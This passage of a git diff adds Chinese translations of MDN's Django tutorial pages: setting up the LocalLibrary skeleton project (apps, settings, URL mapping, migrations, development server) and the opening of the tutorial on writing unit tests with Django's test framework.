href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django教程</a>的第二篇文章会展示怎样创建一个网站的"框架",在这个框架的基础上,你可以继续填充整站使用的settings, urls,模型(models),视图(views)和模板(templates)。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td><a href="/en-US/docs/Learn/Server-side/Django/development_environment">创建Django的开发环境</a>。复习 <a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django教程</a>。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>能够使用Django提供的工具包搭建你自己的网站工程。</td> + </tr> + </tbody> +</table> + +<h2 id="概述">概述</h2> + +<p>这篇文章会展示怎样创建一个网站的"框架",在这个框架的基础上,你可以继续填充整站使用的settings, urls,模型(models),视图(views)和模板(templates)(我们会在接下来的文章里讨论)。</p> + +<p>搭建“框架”的过程很直接:</p> + +<ol> + <li>使用django-admin工具创建工程的文件夹,基本的文件模板和工程管理脚本(<strong>manage.py</strong>)。</li> + <li><span style="line-height: 1.5;">用</span><strong style="line-height: 1.5;">manage.py</strong><span style="line-height: 1.5;"> 创建一个或多个应用。</span> + <div class="note"> + <p><span style="font-size: 14px;"><strong>注意:</strong>一个网站可能由多个部分组成,比如,主要页面,博客,wiki,下载区域等。Django鼓励将这些部分作为分开的应用开发。如果这样的话,在需要可以在不同的工程中复用这些应用。</span></p> + </div> + </li> + <li> 在工程里注册新的应用。</li> + <li>为每个应用分配url。</li> +</ol> + +<p>为 <a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">locallibrary</a> 这个项目创建的网站文件夹和它的工程文件夹都命名为<em>locallibrary</em>。我们只创建一个名为<em>catalog</em>的应用。最高层的项目文件结构如下所示:</p> + +<pre class="brush: bash"><em>locallibrary/ # 网站文件夹</em> + <strong>manage.py </strong># 用来运行Django工具的脚本(由django-admin创建) + <em>locallibrary/ # 网站/项目文件夹(由django-admin创建)</em> + <em>catalog/ # 应用文件夹 </em>(由manage.py创建)</pre> + +<p>接下来的部分会详细讨论创建网站框架的过程,并会展示怎么测试这些变化。最后,我们会讨论在这个阶段里你可以设置的整站级的配置。</p> + +<h2 id="创建项目">创建项目</h2> + +<p>首先打开命令行工具,进入你想要创建Django应用的地方(最好是你容易找到的地方),为新网站创建一个文件夹(这里是:<em>locallibrary</em>)。用cd命令进入文件夹:</p> + +<pre class="brush: bash">mkdir locallibrary +cd locallibrary</pre> + +<p>用<code>django-admin startproject</code>命令创建新项目,并进入该文件夹。</p> + +<pre class="brush: bash">django-admin startproject locallibrary +cd locallibrary</pre> + +<p><code>django-admin</code>工具会创建如下所示的文件夹结构</p> + +<pre class="brush: bash"><em>locallibrary/</em> + <strong>manage.py</strong> + <em>locallibrary/</em> + settings.py + urls.py + wsgi.py</pre> + +<p>locallibrary项目的子文件夹是整个网站的进入点:</p> + +<ul> + <li><strong>settings.py</strong> 包含所有的网站设置。这是可以注册所有创建的应用的地方,也是静态文件,数据库配置的地方,等等。</li> + <li><strong>urls.py </strong>定义了网站url到view的映射<strong>。</strong>虽然这里可以包含所有的url,但是更常见的做法是把应用相关的url包含在相关应用中,你可以在接下来的教程里看到。</li> + <li><strong style="line-height: 1.5;">wsgi.py</strong><span style="line-height: 1.5;"> 帮助Django应用和网络服务器间的通讯。你可以把这个当作模板。</span></li> +</ul> + +<p><strong>manage.py</strong>脚本可以创建应用,和数据库通讯,启动开发用网络服务器。</p> + +<h2 id="创建catalog应用">创建catalog应用</h2> + +<p>接下来,在locallibrary项目里,使用下面的命令创建catalog应用(和您项目的<strong>manage.py</strong>在同一个文件夹下)</p> + +<pre class="brush: bash">python3 manage.py startapp catalog</pre> + +<div class="note"> +<p><span style="font-size: 14px;"><strong>注意:</strong>Linux/Mac OS X应用可以使用上面的命令。在windows平台下应该改为:</span> <code>py -3 manage.py startapp catalog</code></p> + +<p>如果你是windows系统,在这个部分用<code>py -3</code> 替代<code>python3</code>。</p> +</div> + +<p>这个工具创建了一个新的文件夹,并为该应用创建了不同的文件(下面黑体所示)。绝大多数文件的命令和它们的目的有关(比如视图函数就是<strong>views.py,</strong>模型就是<strong>models.py,</strong>测试是<strong>tests.py,</strong>网站管理设置是<strong>admin.py,</strong>注册应用是<strong>apps.py)</strong>,并且还包含了为项目所用的最小模板。</p> + +<p>执行命令后的文件夹结构如下所示:</p> + +<pre class="brush: bash"><em>locallibrary/</em> + manage.py + <em>locallibrary/ +</em><strong> <em>catalog/</em> + admin.py + apps.py + models.py + tests.py + views.py + __init__.py + <em>migrations/</em></strong></pre> + +<p>除上面所说的文件外,我们还有:</p> + +<ul> + <li>一个<em>migration</em>文件夹,用来存储“migrations”——当你修改你的数据模型时,这个文件会自动升级你的数据库。</li> + <li><strong>__init__.py</strong> — 一个空文件,Django/Python会将这个文件作为<a href="https://docs.python.org/3/tutorial/modules.html#packages">Python 包</a>并允许你在项目的其他部分使用它。</li> +</ul> + +<div class="note"> +<p><span style="font-size: 14px;"><strong>注意</strong></span>: 你注意到上面的文件里有些缺失嘛? 尽管由views和models的文件,可是url映射,网站模板,静态文件在哪里呢?我们会在接下来的部分展示如何创建它们(并不是每个网站都需要,不过这个例子需要)</p> +</div> + +<h2 id="注册catalog应用">注册catalog应用</h2> + +<p>既然应用已经创建好了,我们还必须在项目里注册它,以便工具在运行时它会包括在里面(比如在数据库里添加模型时)。在项目的settings里,把应用添加进<code>INSTALLED_APPS</code> ,就完成了注册。</p> + +<p>打开项目设置文件 <strong>locallibrary/locallibrary/settings.py</strong> 找到 <code>INSTALLED_APPS</code> 列表里的定义。 如下所示,在列表的最后添加新的一行。</p> + +<pre class="brush: bash">INSTALLED_APPS = [ + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', +<strong> 'catalog.apps.CatalogConfig', </strong> +]</pre> + +<p>新的这行详细说明了应用配置文件在 (<code>CatalogConfig</code>) <strong>/locallibrary/catalog/apps.py</strong> 里,当你创建应用时就完成了这个过程。</p> + +<div class="note"> +<p><strong>注意</strong>: 注意到<code>INSTALLED_APPS已经有许多其他的应用了</code> (还有 <code>MIDDLEWARE</code>, 在settings的下面)。这些应用为 <a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django administration site</a> 提供了支持和许多功能(包括会话,认证系统等)。</p> +</div> + +<h2 id="配置数据库">配置数据库</h2> + +<p>现在可以为项目配置数据库了——为了避免性能上的差异,最好在生产和开发中使用同一种数据库。你可以在<a href="https://docs.djangoproject.com/en/1.10/ref/settings/#databases">数据库</a> 里找到不同的设置方法(Django文档)。 </p> + +<p>在这个项目里,我们使用SQLite。因为在展示用的数据库中,我们不会有很多并发存取的行为。同时,也因为SQLite不需要额外的配置工作。你可以在<strong>settings.py</strong>里看到这个数据库怎样配置的。(更多信息如下所示)</p> + +<pre class="brush: python">DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), + } +} +</pre> + +<p>因为我们使用SQLite,不需要其他的设置了。我们继续吧!</p> + +<h2 id="其他项目设置">其他项目设置</h2> + +<p>settings.py里还包括其他的一些设置,现在只需要改变<a href="https://docs.djangoproject.com/en/1.10/ref/settings/#std:setting-TIME_ZONE">时区</a> — 改为和 标准<a href="https://en.wikipedia.org/wiki/List_of_tz_database_time_zones">tz时区数据表</a> 里的字符串相同就可以了(数据表里的TZ 列有你想要的时区)。 把<code>TIME_ZONE</code>的值改为你的时区,比如</p> + +<pre class="brush: python">TIME_ZONE = 'Asia/Shanghai'</pre> + +<p>有两个设置你现在不会用到,不过你应该留意:</p> + +<ul> + <li><code>SECRET_KEY</code>. 这个密匙值是Django网站安全策略的一部分。如果在开发环境中没有包好这个密匙,把代码投入生产环境时最好用不同的密匙代替。(可能从环境变量或文件中读取)。</li> + <li><code>DEBUG</code>. 这个会在debug日志里输出错误信息,而不是输入HTTP的返回码。在生产环境中,它应设置为false,因为输出的错误信息会帮助想要攻击网站的人。</li> +</ul> + +<h2 id="链接URL映射器">链接URL映射器</h2> + +<p>在项目文件夹里,创建网站时同时生成了URL映射器(<strong>urls.py</strong>)。尽管你可以用它来管理所有的URL映射,但是更常用的做法是把URL映射留到它们相关的应用中。</p> + +<p>打开<strong>locallibrary/locallibrary/urls.py</strong> 并注意指导文字解释了一些使用URL映射器的方法。</p> + +<pre><code>"""locallibrary URL Configuration + +The `urlpatterns` list routes URLs to views. For more information please see: + https://docs.djangoproject.com/en/2.0/topics/http/urls/ +Examples: +Function views + 1. Add an import: from my_app import views + 2. Add a URL to urlpatterns: path('', views.home, name='home') +Class-based views + 1. Add an import: from other_app.views import Home + 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') +Including another URLconf + 1. Import the include() function: from django.urls import include, path + 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) +""" +from django.contrib import admin +from django.urls import path + +urlpatterns = [ + path('admin/', admin.site.urls), +]</code></pre> + +<p> </p> + +<p><span style="letter-spacing: -0.00333rem;">URL 映射通过</span><code style="font-style: normal; letter-spacing: -0.00333rem;">urlpatterns</code><span style="letter-spacing: -0.00333rem;"> 变量管理,它是</span><code style="font-style: normal; letter-spacing: -0.00333rem;">path()</code><span style="letter-spacing: -0.00333rem;"> 函数的一个Python列表结构。 每个</span><code style="font-style: normal; letter-spacing: -0.00333rem;">path()</code><span style="letter-spacing: -0.00333rem;">函数要么将URL式样(URL pattern)关联到特定视图(</span><em>specific view)</em><span style="letter-spacing: -0.00333rem;">,将在模式匹配时显示;要么关联到某个URL式样列表的测试代码。 (第二种情况下,URL式样是目标模型里的“base URL”). </span><code style="font-style: normal; letter-spacing: -0.00333rem;">urlpatterns</code><span style="letter-spacing: -0.00333rem;"> 列表最开始定义了一个函数,这个函数将所有带有模型 </span><em>admin/</em><span style="letter-spacing: -0.00333rem;"> 的URL映射到模块</span><code style="font-style: normal; letter-spacing: -0.00333rem;">admin.site.urls</code><span style="letter-spacing: -0.00333rem;">。这个函数包含了Administration 应用自己的URL映射定义。</span></p> + +<div class="note"> +<p>注意:path() 中的路由是一个字符串,用于定义要匹配的URL模式。该字符串可能包括一个命名变量(尖括号中)</p> + +<p>例:<code>'catalog/<id>/'</code>。此模式将匹配如 <strong>/catalog/<em>any_chars</em>/</strong> 的URL ,并将 any_chars 作为具有参数名称 <code>id</code> 的字符串传递给视图。我们将在后面的主题中进一步讨论路径方法和路由模式</p> +</div> + +<p>将下面的行添加到文件的底部,以便将新的项添加到 <code>urlpatterns</code> 列表中。这个新项目包括一个 <code>path()</code> ,它将带有 <code>catalog/</code> 的请求转发到模块 <code>catalog.urls</code> (使用相对路径 URL <strong>/catalog/urls.py</strong>)。</p> + +<pre><code># Use include() to add paths from the catalog application +from django.conf.urls import include +from django.urls import path + +urlpatterns += [ + path('catalog/', include('catalog.urls')), +]</code></pre> + +<p>现在让我们把网站的根URL(例:<code>127.0.0.1:8000</code>)重定向到该URL:<code>127.0.0.1:8000/catalog/</code>; 这是我们将在这个项目中使用的唯一应用程序,所以我们最好这样做。为了完成这个目标,我们将使用一个特殊的视图函数(<code>RedirectView</code>), 当在 <code>path()</code> 函数中指定的URL模式匹配时(在这个例子中是根URL),它将新的相对URL作为其第一个参数重定向到(<code>/catalog/</code>)。</p> + +<p>将以下行再次添加到文件的底部:</p> + +<pre><code>#Add URL maps to redirect the base URL to our application +from django.views.generic import RedirectView +urlpatterns += [ + path('', RedirectView.as_view(url='/catalog/')), +]</code></pre> + +<p>将路径函数的第一个参数留空以表示'/'。如果你将第一个参数写为'/',Django会在你启动服务器时给出以下警告:</p> + +<p> </p> + +<p> </p> + +<p> </p> + +<pre><code>System check identified some issues: + +WARNINGS: +?: (urls.W002) Your URL pattern '/' has a route beginning with a '/'. +Remove this slash as it is unnecessary. +If this pattern is targeted in an include(), ensure the include() pattern has a trailing '/'.</code></pre> + +<p> </p> + +<p>Django 默认不提供CSS, JavaScript, 和图片等静态文件 。但是当你在开发环境中开发时,这些静态文件也很有用。作为对这个URL映射器的最后一项添加,你可以通过添加以下行在开发期间启用静态文件的服务。</p> + +<p>把下面的代码加到文件最后:</p> + +<p> </p> + +<pre><code># Use static() to add url mapping to serve static files during development (only) +from django.conf import settings +from django.conf.urls.static import static + +urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)</code></pre> + +<p> </p> + +<div class="note"> +<p><strong>注意</strong>: 有很多方法扩展<code>urlpatterns</code> 列表(在上面的代码里我们通过 <code>+=</code> 运算符来区分新旧代码)。我们同样可以用原先列表的定义:</p> + +<pre>urlpatterns = [ + path('admin/', admin.site.urls), + path('catalog/', include('catalog.urls')), + path('', RedirectView.as_view(url='/catalog/', permanent=True)), +] + <code>static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)</code></pre> + +<p> </p> + +<p><span style="font-size: 1.2rem; letter-spacing: -0.00333rem;">除此以外,我们也可以包含import代码行 (</span><code style="font-style: normal; letter-spacing: -0.00333rem;">from django.conf.urls import include</code><span style="font-size: 1.2rem; letter-spacing: -0.00333rem;">) ,这样更容易看出我们添加的代码,通常我们把import代码行放在Python文件的开头。</span></p> +</div> + +<p>最后,在catalog 文件夹下创建一个名为 <strong>urls.py </strong>的文件,并添加以下文本以定义导入(空)的 <code>urlpatterns</code>。这是我们在编写应用时添加式样的地方。</p> + +<pre><code>from django.urls import path +from catalog import views + +urlpatterns = [ + +]</code></pre> + +<h2 id="测试网站框架">测试网站框架</h2> + +<p>现在我们有了一个完整的框架项目。这个网站现在还什么都不能做,但是我们仍然要运行以下,以确保我们的更改是有效的。</p> + +<p>在运行前,我们应该向运行<em>数据库迁移</em>。这会更新我们的数据库并且包含所有安装的应用(同时去除一些警告)。</p> + +<h3 id="运行数据库迁移">运行数据库迁移</h3> + +<p>Django 使用对象关系映射器(ORM)将Django代码中的模型定义映射到底层数据库使用的数据结构。当我们更改模型定义时,Django会跟踪更改并创建数据库迁移脚本 (in <strong>/locallibrary/catalog/migrations/</strong>) 来自动迁移数据库中的底层数据结构来</p> + +<p>当我们创建网站时,Django会自动添加一些模型供网站的管理部分使用(稍后我们会解释)。运行以下命令来定义数据库中这些模型的表(确保你位于包含<strong> manage.py 的目录中</strong>):</p> + +<pre class="brush: bash">python3 manage.py makemigrations +python3 manage.py migrate +</pre> + +<div class="warning"> +<p><strong>重要信息</strong>: 每次模型改变,都需要运行以上命令,来影响需要存储的数据结构(包括添加和删除整个模型和单个字段)。</p> +</div> + +<p>该 <strong><code>makemigrations</code></strong> 命令创建(但不适用)项目中安装的所有应用程序的迁移(你可以指定应用程序名称,也可以为单个项目运行迁移)。这让你有机会在应用这些迁移之前检查这些迁移代码—当你是Django专家时,你可以选择稍微调整它们。</p> + +<p>这 <strong><code>migrate</code></strong> 命令 明确应用迁移你的数据库(Django跟踪哪些已添加到当前数据库)。</p> + +<div class="note"> +<p><strong>注意</strong>: 看 <a href="https://docs.djangoproject.com/en/1.10/topics/migrations/">Migrations</a> (Django docs) ,了解较少使用的迁移命令的其他信息。</p> +</div> + +<h3 id="运行网站">运行网站</h3> + +<p>在开发期间,你首先要使用开发网络服务器和浏览你本机的浏览器,来测试你的网站。</p> + +<div class="note"> +<p><strong>注意</strong>: 这个开发网络服务器并不够强大以及不足以用于生产使用,但是它能非常容易得使你在开发期间,获得你的Django网站和运行它,以此来进行快速测试。<br> + 默认情况下,服务器会开通(http://127.0.0.1:8000/),但你也可以选择其他端口。有关更多信息,查阅( <a href="https://docs.djangoproject.com/en/1.10/ref/django-admin/#runserver">django-admin and manage.py: runserver</a> )(Django docs).</p> +</div> + +<p>通过调用 <code>runserver</code> 命令运行Web服务器(与<strong>manage.py</strong>位于同一目录下):</p> + +<pre class="brush: bash">python3 manage.py runserver + + Performing system checks... + + System check identified no issues (0 silenced). + September 22, 2016 - 16:11:26 + Django version 1.10, using settings 'locallibrary.settings' + Starting development server at http://127.0.0.1:8000/ + Quit the server with CTRL-BREAK. +</pre> + +<p>一旦服务器运行,你可以用你的浏览器导航到 <a href="http://127.0.0.1:8000/"><code>http://127.0.0.1:8000/</code> </a>查看。你应该会看到一个错误页面,如下所示。</p> + +<p><img alt="Django debug page for a 404 not found error" src="https://mdn.mozillademos.org/files/14009/django_404_debug_page.png" style="display: block; height: 545px; margin: 0px auto; width: 871px;"></p> + +<p>别担心,这个错误页面是预期结果。因为我们没有在 <code>catalogs.urls</code> 模块中定义任何页面/网址。<strong>(留意</strong>:当我们导航网站根目录URL时,我们被重定向到了<strong>/catalog 。)</strong></p> + +<div class="note"> +<p><strong>注意</strong>: 上面的页面展示了一个重要的Django功能—自动调试日志记录。每当找不到页面,或者代码引发任何错误,就会显示错误页面,其中会提供有用的信息。在这种情况下,你可以看到我们提供的 URL 与我们任何 URL 模式都不匹配(像列出的那样)。生产环境中,日志功能将被关闭(当我们将网站存放在网络上时),这种情况下,将提供的信息量更少,但用户友好的页面。</p> +</div> + +<p>这个时候,我们知道Django正在工作。</p> + +<div class="note"> +<p><strong>注意</strong>: 每当进行重大更改时,都应重新运行迁移并重新测试站点。这并不需要很长时间。</p> +</div> + +<h2 id="挑战自我">挑战自我</h2> + +<p>该 <strong>catalog/ </strong>目录包含视图,模型和应用程序其他部分的文件。你可以打开这些文件并查看样板。</p> + +<p>如上所述,管理站点的 URL 映射已经添加到项目的 <strong>urls.py</strong> 中。导航到浏览器中的管理区域,看看会发生什么(您可以从上面的映射中推断出正确的URL)。</p> + +<ul> +</ul> + +<h2 id="概要">概要</h2> + +<p>你现在已经创建了一个完整的基本网站项目骨架,你可以继续填加网址,模型,视图和模版。</p> + +<p>现在, <a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Local Library website</a> 的骨架已经完成并运行,是时候开始编写代码,让这个网站做它应该做的事情了。</p> + +<h2 id="更多">更多</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/intro/tutorial01/">编写你的第一个Django应用 - part 1</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/applications/#configuring-applications">Applications</a> (Django Docs). 包括配置应用的信息。</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django/Models", "Learn/Server-side/Django")}}</p> diff --git a/files/zh-cn/learn/server-side/django/testing/index.html b/files/zh-cn/learn/server-side/django/testing/index.html new file mode 100644 index 0000000000..26ca9b62bf --- /dev/null +++ b/files/zh-cn/learn/server-side/django/testing/index.html @@ -0,0 +1,917 @@ +--- +title: 'Django 教程 10: 测试 Django 网页应用' +slug: learn/Server-side/Django/Testing +translation_of: Learn/Server-side/Django/Testing +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Forms", "Learn/Server-side/Django/Deployment", "Learn/Server-side/Django")}}</div> + +<p class="summary">随<font><font>着网站的增长,他们越来越难以手动测试。</font><font>不仅要进行更多的测试,而且随着组件之间的交互变得越来越复杂,一个区域的小改变可能会影响到其他区域,所以需要做更多的改变来确保一切正常运行,并且在进行更多更改时不会引入错误。</font><font>减轻这些问题的一种方法是编写自动化测试,每当您进行更改时,都可以轻松可靠地运行测试。</font><font>本教程演示如何</font><font>使用Django的测试框架</font><font>自动化</font><font>您的网站的</font></font><em><font><font>单元测试</font></font></em>。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">先决条件:</th> + <td>完成之前的所有教程主题,包括 Django教程 9:使用表单。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>了解如何为基于 Django 的网站编写单元测试。</td> + </tr> + </tbody> +</table> + +<h2 id="概览">概览</h2> + +<p>LocalLibrary 目前有页面显示所有书本和作者的列表,书本和作者项目的详细视图,续借<code>BookInstances</code>的页面,以及创建,更新和删除作者项目的页面(如果您完成了<strong>Django 教程 9:使用表单</strong>中的自我挑战,也可以创建,更新和删除书本记录)。即使使用这个相对较小的站点,手动导航到每个页面,并且表面地检查一切是否按预期工作,可能需要几分钟。当我们进行更改,并扩展网站时,手动检查所有内容 “正常” 工作所需的时间只会增长。如果我们继续这样做,最终我们将花费大部分时间进行测试,并且很少有时间来改进我们的代码。</p> + +<p>自动化测试可以真正帮助解决这个问题!显而易见的好处,是它们可以比手动测试运行得更快,可以测试更底层级别的细节,并且每次都测试完全相同的功能(人类测试员远远没有这么可靠!)因为它们很快速,自动化的测试可以更频繁地执行,如果测试失败,他们会指出代码未按预期执行的位置。</p> + +<p>此外,自动化测试可以充当代码的第一个真实“用户”,迫使您严格定义和记录网站的行为方式。它们通常是您的代码示例,和文档的基础。由于这些原因,一些软件开发过程,从测试定义和实现开始,之后编写代码以匹配所需的行为(例如,测试驱动<a href="https://en.wikipedia.org/wiki/Test-driven_development">test-driven</a> 和行为驱动 <a href="https://en.wikipedia.org/wiki/Behavior-driven_development">behaviour-driven</a>的开发)。</p> + +<p>本教程通过向 LocalLibrary 网站添加大量测试,来演示如何为 Django 编写自动化测试。</p> + +<h3 id="测试的类型">测试的类型</h3> + +<p>测试和测试方法有许多类型,级别和分类。最重要的自动化测试是:</p> + +<dl> + <dt>单元测试Unit tests</dt> + <dd>验证各个组件的功能行为,通常是类别和功能级别。</dd> + <dt>回归测试</dt> + <dd>测试重现历史错误。最初运行每个测试,以验证错误是否已修复,然后重新运行,以确保在以后更改代码之后,未重新引入该错误。</dd> + <dt>集成测试</dt> + <dd>验证组件分组在一起使用时的工作方式。集成测试了解组件之间所需的交互,但不一定了解每个组件的内部操作。它们可能涵盖整个网站的简单组件分组。</dd> +</dl> + +<div class="note"> +<p><strong>注意: </strong>其他常见类型的测试,包括黑盒,白盒,手动,自动,金丝雀,烟雾,一致性,验收,功能,系统,性能,负载和压力测试。查找它们以获取更多信息。</p> +</div> + +<h3 id="Django为测试提供了什么?">Django为测试提供了什么?</h3> + +<p>测试网站是一项复杂的任务,因为它由多层逻辑组成 - 从 HTTP 级请求处理,查询模型,到表单验证和处理,以及模板呈现。</p> + +<p>Django 提供了一个测试框架,其中包含基于 Python 标准<code><a href="https://docs.python.org/3/library/unittest.html#module-unittest" title="(in Python v3.5)">unittest</a></code>库的小型层次结构。尽管名称如此,但该测试框架适用于单元测试和集成测试。 Django 框架添加了 API 方法和工具,以帮助测试 Web 和 Django 特定的行为。这允许您模拟请求,插入测试数据以及检查应用程序的输出。 Django 还提供了一个API(<a href="https://docs.djangoproject.com/en/2.0/topics/testing/tools/#liveservertestcase">LiveServerTestCase</a>)和<a href="https://docs.djangoproject.com/en/2.0/topics/testing/advanced/#other-testing-frameworks">使用不同测试框架</a>的工具,例如,您可以与流行的 <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Selenium</a> 框架集成,以模拟用户与实时浏览器交互。</p> + +<p>要编写测试,您可以从任何 Django(或unittest)测试基类(<a href="https://docs.djangoproject.com/en/2.0/topics/testing/tools/#simpletestcase">SimpleTestCase</a>, <a href="https://docs.djangoproject.com/en/2.0/topics/testing/tools/#transactiontestcase">TransactionTestCase</a>, <a href="https://docs.djangoproject.com/en/2.0/topics/testing/tools/#testcase">TestCase</a>, <a href="https://docs.djangoproject.com/en/2.0/topics/testing/tools/#liveservertestcase">LiveServerTestCase</a>)派生,然后编写单独的方法,来检查特定功能,是否按预期工作(测试使用 “assert” 方法来测试表达式导致 <code>True</code>或 <code>False</code>值,或者两个值相等,等等。)当您开始测试运行时,框架将在派生类中执行所选的测试方法。测试方法独立运行,具有在类中定义的常见设置和/或拆卸行为,如下所示。</p> + +<pre class="brush: python">class YourTestClass(TestCase): + + def setUp(self): + #Setup run before every test method. + pass + + def tearDown(self): + #Clean up run after every test method. + pass + + def test_something_that_will_pass(self): + self.assertFalse(False) + + def test_something_that_will_fail(self): + self.assertTrue(False) +</pre> + +<p>大多数测试的最佳基类是 <a href="https://docs.djangoproject.com/en/2.0/topics/testing/tools/#testcase">django.test.TestCase</a>。此测试类在运行测试之前,创建一个干净的数据库,并在自己的事务中,运行每个测试函数。该类还拥有一个<a href="https://docs.djangoproject.com/en/2.0/topics/testing/tools/#django.test.Client">测试客户端</a>,您可以使用该客户端,模拟在视图级别与代码交互的用户。在下面的部分中,我们将集中讨论使用此<a href="https://docs.djangoproject.com/en/2.0/topics/testing/tools/#testcase">TestCase</a> 基类创建的单元测试。</p> + +<div class="note"> +<p><strong>注意:</strong> <a href="https://docs.djangoproject.com/en/2.0/topics/testing/tools/#testcase">django.test.TestCase</a> 类非常方便,但可能会导致某些测试,比它们需要的速度慢(并非每个测试,都需要设置自己的数据库,或模拟视图交互)。一旦熟悉了这个类可以做什么,您可能希望用可以用更简单的测试类,替换一些测试。</p> +</div> + +<h3 id="你应该测试什么?">你应该测试什么?</h3> + +<p>您应该测试自己代码的所有方面,但不要测试 Python 或 Django 的一部分提供的任何库或功能。</p> + +<p>例如,考虑下面定义的 <code>Author</code>模型。您不需要显式测试 <code>first_name</code> 和 <code>last_name</code> 是否已在数据库中正确储存为<code>CharField</code>,因为这是 Django 定义的内容(当然,在实践中,您将不可避免地在开发期间测试此功能)。你也不需要测试<code>date_of_birth</code>是否已被验证为日期字段,因为这也是 Django 中实现的东西。</p> + +<p>但是,您应该检查用于标签的文本(名字,姓氏,出生日期,死亡),以及为文本分配的字段大小(100个字符),因为这些是您的设计的一部分,可能会在将来被打破/改变。</p> + +<pre class="brush: python">class Author(models.Model): + first_name = models.CharField(max_length=100) + last_name = models.CharField(max_length=100) + date_of_birth = models.DateField(null=True, blank=True) + date_of_death = models.DateField('Died', null=True, blank=True) + + def get_absolute_url(self): + return reverse('author-detail', args=[str(self.id)]) + + def __str__(self): + return '%s, %s' % (self.last_name, self.first_name)</pre> + +<p>同样,您应该检查自定义方法 <code style="font-style: normal; font-weight: normal;">get_absolute_url()</code> 和 <code style="font-style: normal; font-weight: normal;">__str__()</code> 是否符合要求,因为它们是您的代码/业务逻辑。在<code style="font-style: normal; font-weight: normal;">get_absolute_url()</code>的情况下,您可以相信 Django <code>reverse()</code>方法已经正确实现,因此您正在测试的是实际上已经定义了关联的视图。</p> + +<p> </p> + +<div class="note"> +<p><strong>注意:</strong> 精明的读者可能会注意到,我们也希望将出生和死亡的日期限制在合理的值,并检查出生后是否死亡。在 Django中,此约束将添加到表单类中(尽管您可以为字段定义验证器,这些字段似乎仅在表单级别使用,而不是在模型级别使用)。</p> +</div> + +<p>考虑到这些,让我们开始研究如何定义和运行测试。</p> + +<h2 id="测试结构概述">测试结构概述</h2> + +<p>在我们详细讨论“测试内容”之前,让我们先简要介绍一下测试的定位和方式。</p> + +<p>Django 使用 unittest 模块的<a href="https://docs.python.org/3/library/unittest.html#unittest-test-discovery">内置测试查找</a>,它将在任何使用模式<strong>test*.py </strong>命名的文件中,查找当前工作目录下的测试。如果您正确命名文件,则可以使用您喜欢的任何结构。我们建议您为测试代码创建一个模块,并为模型,视图,表单和您需要测试的任何其他类型的代码,分别创建文件。例如:</p> + +<pre>catalog/ + /tests/ + __init__.py + test_models.py + test_forms.py + test_views.py +</pre> + +<p>在 LocalLibrary 项目中,创建如上所示的文件结构。<strong>__init__.py </strong>应该是一个空文件(这告诉 Python 该目录是一个套件包)。您可以通过复制和重命名框架测试文件<strong>/catalog/tests.py</strong>,来创建三个测试文件。</p> + +<p> </p> + +<div class="note"> +<p><strong>注意:</strong> 我们构建 Django 骨架网站时,会自动创建骨架测试文件<strong>/catalog/tests.py</strong> 。将所有测试放入其中是完全“合法的”,但如果测试正确,您将很快得到一个非常庞大且难以管理的测试文件。</p> + +<p>删除骨架文件,因为我们不需要它。</p> +</div> + +<p>打开 <strong>/catalog/tests/test_models.py</strong>。 该文件应导入<code>django.test.TestCase</code>,如下所示:</p> + +<pre class="brush: python">from django.test import TestCase + +# Create your tests here. +</pre> + +<p>通常,您将为要测试的每个模型/视图/表单添加测试类别,并使用个别方法来测试特定功能。在其他情况下,您可能希望有一个分开的类别,来测试特定用例,使用个别的测试函数,来测试该用例的各个方面(例如,测试模型字段已正确验证的类,以及测试每个可能的失败案例的函数)。相同地,这样的结构非常适合您,但最好您能保持一致。</p> + +<p>将下面的测试类别,添加到文件的底部。该类别演示了,如何通过派生<code>TestCase</code>,构建测试用例类。</p> + +<pre class="brush: python">class YourTestClass(TestCase): + + @classmethod + def setUpTestData(cls): + print("setUpTestData: Run once to set up non-modified data for all class methods.") + pass + + def setUp(self): + print("setUp: Run once for every test method to setup clean data.") + pass + + def test_false_is_false(self): + print("Method: test_false_is_false.") + self.assertFalse(False) + + def test_false_is_true(self): + print("Method: test_false_is_true.") + self.assertTrue(False) + + def test_one_plus_one_equals_two(self): + print("Method: test_one_plus_one_equals_two.") + self.assertEqual(1 + 1, 2)</pre> + +<p>新的类别定义了两个可用于测试之前的配置的方法(例如,创建测试所需的任何模型或其他对象):</p> + +<ul> + <li><code>setUpTestData()</code> 用于类级别设置,在测试运行开始的时侯,会调用一次。您可以使用它来创建在任何测试方法中,都不会修改或更改的对象。</li> + <li><code>setUp()</code> 在每个测试函数之前被调用,以设置可能被测试修改的任何对象(每个测试函数,都将获得这些对象的 “新” 版本)。</li> +</ul> + +<div class="note"> +<p><strong>注意</strong>:测试类别还有一个我们还没有使用的<code>tearDown()</code>方法。此方法对数据库测试不是特别有用,因为<code>TestCase</code>基类会为您处理数据库拆卸。</p> +</div> + +<p>下面我们有一些测试方法,它们使用 <code>Assert </code>函数来测试条件是真,假或相等(<code>AssertTrue</code>, <code>AssertFalse</code>, <code>AssertEqual</code>)。如果条件评估不如预期,则测试将失败,并将错误报告给控制台。</p> + +<p><code>AssertTrue</code>, <code>AssertFalse</code>, <code>AssertEqual </code>是 <strong>unittest 